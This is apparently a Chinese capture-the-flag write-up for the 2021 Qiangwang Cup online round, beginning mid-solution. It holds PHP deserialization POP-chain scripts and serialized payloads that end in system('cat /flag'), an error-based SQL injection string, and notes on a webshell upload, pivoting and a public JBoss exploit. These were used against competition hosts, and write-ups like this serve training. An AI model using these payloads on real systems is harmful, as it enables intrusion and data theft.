$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi = new ubPVyV;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl = new b8WIcp;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp = new q4IoOD;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d = new be3fZl;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac = new x9wgH7;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN = new Upele5;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN->cl73VwG = new uQhKsL;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN->cl73VwG->RwqayHu = new G6QyEc;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN->cl73VwG->RwqayHu->Ew9nqoI = new BmAQQY;


echo serialize($o);

Exp:

http://eci-2zeir9lncwqmfgk2txz6.cloudeci1.ichunqiu.com/?pop=O:6:"cdKBgX":1:{s:7:"IG2X7eS";O:6:"guAeB0":1:{s:7:"LTo0wOs";O:6:"MZ2dMV":1:{s:7:"WU6aUWm";O:6:"nXKQYP":1:{s:7:"mGpVYwd";O:6:"r6lSwy":1:{s:7:"q6VMPac";O:6:"UW5vkV":1:{s:7:"XlZSk2f";O:6:"DqoC5G":1:{s:7:"qd1Gk6X";O:6:"TBFTL7":1:{s:7:"z2qMn5H";O:6:"qoEd8u":1:{s:7:"BmsS1eX";O:6:"fFEGgM":1:{s:7:"uXVxFLL";O:6:"rn4PNR":1:{s:7:"TdVPKPS";O:6:"pRM5G8":1:{s:7:"k6WTa5m";O:6:"Bwn3ZW":1:{s:7:"PmYsubO";O:6:"saCGME":1:{s:7:"c449DBi";O:6:"ubPVyV":1:{s:7:"lgNpoOl";O:6:"b8WIcp":1:{s:7:"OkOSSwp";O:6:"q4IoOD":1:{s:7:"Wqcdf7d";O:6:"be3fZl":1:{s:7:"NaHb7Ac";O:6:"x9wgH7":1:{s:7:"IBILkhN";O:6:"Upele5":1:{s:7:"cl73VwG";O:6:"uQhKsL":1:{s:7:"RwqayHu";O:6:"G6QyEc":1:{s:7:"Ew9nqoI";O:6:"BmAQQY":1:{s:7:"UFAlT9K";N;}}}}}}}}}}}}}}}}}}}}}}}&argv=system("cat /flag");//


2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

[强网先锋]赌徒


存在www.zip

存在反序列化漏洞,很容易找到pop链

<?php

class Start
{
public $name='guest';
public $flag='';

}

class Info
{
public $promise='I do';
public $file=[];

}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

}
$s=new Start();
$i=new Info();
$r=new Room();
$r1=new Room();
$s->name=$i;
$i->file["filename"]=$r;
$r->a=$r1;
$r1->filename="/flag";
print(serialize($s));


?>

将上面生成的序列化字符串,传入hello,即可得hi+flag的base64编码,解码即可得flag

/?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":2:{s:7:"promise";s:4:"Ido";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:0:"";}

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


[强网先锋]寻宝

线索一

ppp[number1]=1025a&ppp[number2]=1e6&ppp[number3]=61823470&ppp[number4]=kawhika&ppp[number5]=kawhi
KEY1{e1e1d3d40573127e9ee0480caf1283d6}

线索二

在下载下来的文件寻找到KEY2

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

两个KEY1KEY2在页面输入即可获取flag

 

EasyWeb

首先在:http://47.104.136.46/files/拿到hint:

Try to scan 35000-40000 ^_^.

All tables are empty except for the table where theusername and password are located

Table: employee

扫下端口在36842

提示:

<!-- table: employee -->

无过滤,直接报错注入出密码:

password=admin&username=admin'or1=extractvalue(1,concat(0x7e,mid((select password from employee),16)))#

admin/99f609527226e076d668668582ac4420

站里面有个file路径,存在文件上传,简单绕一下过滤:

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

shellps -ef看到内网有个jboss8006端口。

依旧是拿ew转发,发现是个默认界面,直接拿网上现成脚本一把梭:

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up


本文始发于微信公众号(山石网科安全技术研究院):2021第五届强网杯全国网络安全挑战赛线上赛 Write-Up

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: